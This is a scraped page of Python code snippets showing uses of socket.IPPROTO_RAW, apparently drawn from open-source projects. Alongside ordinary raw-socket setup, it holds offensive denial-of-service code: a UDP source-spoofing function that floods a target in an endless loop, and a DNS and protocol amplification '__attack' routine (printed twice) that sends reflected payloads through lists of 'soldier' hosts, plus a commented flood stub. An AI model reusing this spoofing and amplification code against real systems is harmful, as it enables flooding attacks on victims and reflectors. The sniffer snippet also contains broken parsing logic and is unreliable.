我们从Python开源项目中,提取了以下35个代码示例,用于说明如何使用socket.IPPROTO_RAW。
def sniffer_dog(): rawSocket = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW) rawSocket.bind(('127.0.0.1',0)) receivedPacket = rawSocket.recv(2048) ipHeader = receivedPacket[0:20] ipHdr = struct.unpack("!12s4s4s",ipHeader) sourceIP = socket.inet_ntoa(ipHdr[0]) destinationIP = socket.inet_ntoa(ipHdr[2]) tcpHeader = receivedPacket[34:54] tcpHdr = struct.unpack("!2s2s16s",tcpHeader) sourcePort = socket.inet_ntoa(tcpHdr[0]) destinationPort = socket.inet_ntoa(tcpHdr[1]) return list(sourceIP, destinationIP, sourcePort, destinationPort) # To identify your public IP (attacker's public IP)
def __init__(self, hostID, logFile,sharedBufferArray): threading.Thread.__init__(self) self.threadCmdLock = threading.Lock() self.threadCallbackQueue = {} self.threadCallbackLock = threading.Lock() self.nPendingCallbacks = 0 self.threadCmdQueue = [] self.hostID = hostID self.sharedBufferArray = sharedBufferArray self.log = logger.Logger(logFile, "Host " + str(hostID) + " IPC Thread") self.hostIDtoPowerSimID = None self.powerSimIDtohostID = None self.attackLayer = None self.raw_sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW) self.init_shared_ipc_buffer() # self.raw_sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
def udp_spoof_start(target_ip, target_port, spoofed_ip, spoofed_port, payload): """Spoof a packet and send it to target_ip, target_port. Keyword argument(s): target_ip -- the desired destination ip target_port -- the desired destination port spoofed_ip -- the desired source ip spoofed_port -- the desired source port """ spoofed_packet = udp_spoof_pck(target_ip, target_port, spoofed_ip, spoofed_port, payload) sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW) while True: sock.sendto(spoofed_packet, (target_ip, target_port)) sleep(0.01)
def setup_sockets(self): self.raw_sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW) self.raw_sock = socket.socket(socket.AF_PACKET, socket.SOCK_RAW) self.raw_sock.bind((self.interface, 0))
def __init__(self, type = ETH_P_IP, filter=None, iface=None, promisc=None, nofilter=0): self.outs = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW) self.outs.setsockopt(socket.SOL_IP, socket.IP_HDRINCL, 1) self.ins = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(type)) if iface is not None: self.ins.bind((iface, type))
def __init__(self, type = ETH_P_IPV6, filter=None, iface=None, promisc=None, nofilter=0): L3RawSocket.__init__(self, type, filter, iface, promisc) # NOTE: if fragmentation is needed, it will be done by the kernel (RFC 2292) self.outs = socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_RAW) self.ins = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(type))
def __init__(self, type = ETH_P_IP, filter=None, iface=None, promisc=None, nofilter=0): self.outs = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW) self.outs.setsockopt(socket.SOL_IP, socket.IP_HDRINCL, 1) self.ins = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(type))
def SendDHCP(packet,Host): Protocol = 0x0800 s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW) s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1) s.sendto(packet, Host)
def hasRawSocketPermission(): try: socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW) return True except socket.error: return False
def __attack(self): global npackets global nbytes _files = files for proto in _files: # Open Amplification files f = open(_files[proto][FILE_NAME], 'r') _files[proto].append(f) # _files = {'proto':['file_name', file_handle]} sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW) i = 0 while self.event.isSet(): for proto in _files: soldier = _files[proto][FILE_HANDLE].readline().strip() if soldier: if proto=='dns': if not amplification[proto].has_key(soldier): amplification[proto][soldier] = {} for domain in self.domains: if not amplification[proto][soldier].has_key(domain): size, _ = self.GetAmpSize(proto, soldier, domain) if size==0: break elif size<len(PAYLOAD[proto]): continue else: amplification[proto][soldier][domain] = size amp = self.__GetDnsQuery(domain) self.__send(sock, soldier, proto, amp) npackets += 1 i+=1 nbytes += amplification[proto][soldier][domain] else: if not amplification[proto].has_key(soldier): size, _ = self.GetAmpSize(proto, soldier) if size<len(PAYLOAD[proto]): continue else: amplification[proto][soldier] = size amp = PAYLOAD[proto] npackets += 1 i+=1 nbytes += amplification[proto][soldier] self.__send(sock, soldier, proto, amp) else: _files[proto][FILE_HANDLE].seek(0) sock.close() for proto in _files: _files[proto][FILE_HANDLE].close() #def kiddiebooter(host,port): # Experimental dont use yet #totalsent=0 #print 'Starting....' #while 1: #if totalsent < 64: # print '64 Packets have been sent' # totalsent=0 #s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) #connect=s.connect((host,port)) #s.settimeout(4500) # Change me #setsockopt(SOL_SOCKET., SO_SNDBUF, 5) #s.send(PAYLOAD[MC]) #totalsent=totalsent+1
def __attack(self): global npackets global nbytes _files = files for proto in _files: # Open Amplification files f = open(_files[proto][FILE_NAME], 'r') _files[proto].append(f) # _files = {'proto':['file_name', file_handle]} sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW) i = 0 while self.event.isSet(): for proto in _files: soldier = _files[proto][FILE_HANDLE].readline().strip() if soldier: if proto=='dns': if not amplification[proto].has_key(soldier): amplification[proto][soldier] = {} for domain in self.domains: if not amplification[proto][soldier].has_key(domain): size, _ = self.GetAmpSize(proto, soldier, domain) if size==0: break elif size<len(PAYLOAD[proto]): continue else: amplification[proto][soldier][domain] = size amp = self.__GetDnsQuery(domain) self.__send(sock, soldier, proto, amp) npackets += 1 i+=1 nbytes += amplification[proto][soldier][domain] else: if not amplification[proto].has_key(soldier): size, _ = self.GetAmpSize(proto, soldier) if size<len(PAYLOAD[proto]): continue else: amplification[proto][soldier] = size amp = PAYLOAD[proto] npackets += 1 i+=1 nbytes += amplification[proto][soldier] self.__send(sock, soldier, proto, amp) else: _files[proto][FILE_HANDLE].seek(0) sock.close() for proto in _files: _files[proto][FILE_HANDLE].close()